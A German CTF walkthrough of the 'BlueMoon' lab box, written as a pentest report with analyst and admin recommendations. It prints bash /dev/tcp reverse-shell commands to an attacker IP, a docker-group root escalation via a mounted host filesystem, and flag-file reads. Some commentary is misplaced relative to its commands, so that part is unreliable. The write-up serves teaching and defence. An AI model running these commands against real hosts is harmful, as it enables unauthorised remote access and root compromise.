Empfehlung (Pentester): Stattdessen Python verwenden, um die bestehende Shell zu stabilisieren: `python -c 'import pty; pty.spawn("/bin/bash")'` oder `python3 -c 'import pty; pty.spawn("/bin/bash")'`. Anschließend die Shell im lokalen Terminal mit `Ctrl+Z`, `stty raw -echo`, `fg` und `export TERM=xterm` vollständig interaktiv machen.
Empfehlung (Admin): Egress-Filterung kann auch diese Art von Reverse Shells verhindern. Überwachung auf verdächtige ausgehende TCP-Verbindungen.

jerry@BlueMoon:/home/robin$ bash -i >& /dev/tcp/192.168.2.137/4444 0>&1
jerry@BlueMoon:/home/robin$ bash -i >& /dev/tcp/192.168.2.137/4445 0>&1

Analyse: Der Pentester beginnt nun mit der Stabilisierung der Shell und der Vorbereitung für die weitere Eskalation von `jerry` zu `root`.

Bewertung: Dies ist ein Kommentar im Bericht, der den Übergang zur nächsten Phase der Privilegieneskalation markiert.

Empfehlung (Pentester): Die `jerry`-Shell stabilisieren und systematisch nach Wegen suchen, um Root-Rechte zu erlangen. `id`, `sudo -l`, `find / -perm -4000 2>/dev/null`, `ps aux`, `crontab -l`, Überprüfung der Gruppenzugehörigkeiten (insbesondere `docker`, `sudo`, `adm`).
Empfehlung (Admin): Die Berechtigungen des `jerry`-Kontos überprüfen und sicherstellen, dass es nicht über unnötige Privilegien (z.B. `sudo`-Rechte, Mitgliedschaft in privilegierten Gruppen) verfügt.

     Privilege Escalation

Analyse: Der Befehl `docker run -v /:/mnt --rm -it alpine chroot /mnt bash` wird als `jerry` ausgeführt. Dieser Befehl versucht:

Die zweite Zeile wiederholt den Befehl, was auf einen Kopierfehler im Log oder einen erneuten Versuch hindeuten könnte.

Bewertung: Dieser Befehl funktioniert nur, wenn der Benutzer `jerry` Mitglied der `docker`-Gruppe ist oder anderweitig die Berechtigung hat, Docker-Container zu starten und Volumes einzubinden. Wenn dies der Fall ist, stellt dies eine bekannte und sehr einfache Methode zur Privilegieneskalation dar. Durch das Einbinden des Host-Root-Verzeichnisses und den `chroot`-Befehl erhält der Benutzer innerhalb des Containers effektiv Root-Zugriff auf das Host-Dateisystem.

Empfehlung (Pentester): Vor der Ausführung mit `id` prüfen, ob `jerry` Mitglied der `docker`-Gruppe ist. Wenn ja, diesen Befehl ausführen. Man erhält eine Shell, die zwar innerhalb eines Containers läuft, aber vollen Root-Zugriff auf das Host-Dateisystem hat. Von dort aus können Root-Flags gelesen, SSH-Keys für `root` hinzugefügt oder andere Aktionen mit Root-Rechten durchgeführt werden.
Empfehlung (Admin): Die Mitgliedschaft in der `docker`-Gruppe ist äquivalent zu Root-Rechten auf dem Host. Nur absolut vertrauenswürdigen Benutzern diese Mitgliedschaft gewähren. Docker-Zugriff über Sockets oder andere Mechanismen sorgfältig absichern. Regelmäßig prüfen, welche Benutzer Mitglied der `docker`-Gruppe sind.

jerry@BlueMoon:/home/robin$ docker run -v /:/mnt --rm -it alpine chroot /mnt bash

docker run -v /:/mnt --rm alpine chroot /mnt bash

Analyse: Diese Befehle dienen der Verbesserung der Shell-Interaktivität, oft nachdem eine einfache Reverse Shell (wie die über `nc`) erlangt wurde, bevor komplexere Befehle wie der `docker`-Befehl ausgeführt werden.

Bewertung: Fantastisch, die Privilegieneskalation mittels Docker war erfolgreich! Der Benutzer `jerry` war offensichtlich Mitglied der `docker`-Gruppe. Der Pentester hat nun Root-Rechte innerhalb des Containers, aber mit vollem Zugriff auf das Host-Dateisystem unter `/mnt` (im Container) bzw. `/` (im `chroot`). Der Prompt `root@...` bestätigt den Root-Zugriff.

Empfehlung (Pentester): Ziel erreicht! Nun die Root-Flag suchen (vermutlich in `/root/root.txt` auf dem Host, also `/mnt/root/root.txt` im Container vor dem `chroot` oder `/root/root.txt` nach dem `chroot`). Das System weiter untersuchen, Persistenz einrichten oder Aufräumarbeiten durchführen, je nach Scope des Pentests.
Empfehlung (Admin): Dringend die Mitgliedschaft von `jerry` in der `docker`-Gruppe entfernen. Die Sicherheitsimplikationen der `docker`-Gruppe verstehen und den Zugriff darauf stark einschränken.

jerry@BlueMoon:/home/robin$ python3 -c 'import pty;pty.spawn("/bin/bash")'
jerry@BlueMoon:/home/robin$ export SHELL=bash
jerry@BlueMoon:/home/robin$ export TERM=xterm-256color
jerry@BlueMoon:/home/robin$ stty rows 50 columns 94
jerry@BlueMoon:/home/robin$ docker run -v /:/mnt --rm -it alpine chroot /mnt bash
root@2f016590017e:/# 

Proof of Concept (Root Access)

Analyse: Nachdem durch den `docker`-Befehl und `chroot` Root-Zugriff auf das Dateisystem des Hosts erlangt wurde, navigiert der Pentester in das Root-Verzeichnis (`cd ~` was zu `/root` führt) und listet dessen Inhalt auf (`ls`).

Bewertung: Der Befehl `ls` zeigt die Datei `root.txt`. Dies ist standardmäßig der Ort, an dem die Root-Flag in CTF-Szenarien abgelegt wird. Der erfolgreiche Zugriff auf dieses Verzeichnis und die Sichtbarkeit der Datei bestätigen den Root-Zugriff.

Empfehlung (Pentester): Den Inhalt der Datei `root.txt` mit `cat root.txt` auslesen, um die finale Flag zu erhalten.
Empfehlung (Admin): Die Sicherheitslücke (Docker-Gruppenmitgliedschaft) schließen, die diesen Root-Zugriff ermöglicht hat. Sicherstellen, dass sensible Dateien wie Flags (in einem echten Szenario wären das Konfigurationsdateien, Datenbanken etc.) durch Berechtigungen und Verschlüsselung geschützt sind.

root@2f016590017e:/# cd ~
root@2f016590017e:~# ls
root.txt

Analyse: Der Befehl `cat root.txt` wird ausgeführt, um den Inhalt der Root-Flag-Datei anzuzeigen.

Bewertung: Die Datei enthält eine Glückwunschbotschaft und die Root-Flag: `Fl4g{r00t-H4ckTh3P14n3t0nc34g41n}`. Sie nennt auch die Autoren der CTF-Box. Das Auslesen dieser Datei beweist den vollständigen Root-Zugriff auf das System.

Empfehlung (Pentester): Die Root-Flag dokumentieren. Der Pentest ist erfolgreich abgeschlossen. Je nach Scope können noch weitere Post-Exploitation-Schritte erfolgen (z.B. Systemanalyse, Suche nach weiteren Daten, Persistenz).
Empfehlung (Admin): Die zugrundeliegende Schwachstelle (Docker-Fehlkonfiguration) beheben. Das System auf mögliche Hintertüren oder weitere Kompromittierungen untersuchen, die der Angreifer hinterlassen haben könnte.

root@2f016590017e:~# cat root.txt

> Congratulations <

You Reached Root...!

Root-Flag

     Fl4g{r00t-H4ckTh3P14n3t0nc34g41n}

Created By

        Kirthik - Karvendhan


instagram = ____kirthik____



!......Bye See You Again......!

Analyse: Ein Kommentar im Bericht, der den erfolgreichen Abschluss der Privilegieneskalation zu Root markiert.

Bewertung: Bestätigt das Erreichen des höchsten Privilegierungslevels auf dem System.

Empfehlung (Pentester): Bericht finalisieren, Flags und gefundene Schwachstellen dokumentieren, Empfehlungen formulieren.
Empfehlung (Admin): Den Bericht des Pentesters zur Behebung der Schwachstellen nutzen.

  Privilege Escalation erfolgreich

Flags

cat /home/robin/user1.txt
Fl4g{u5er1r34ch3d5ucc355fully}
cat /root/root.txt
Fl4g{r00t-H4ckTh3P14n3t0nc34g41n}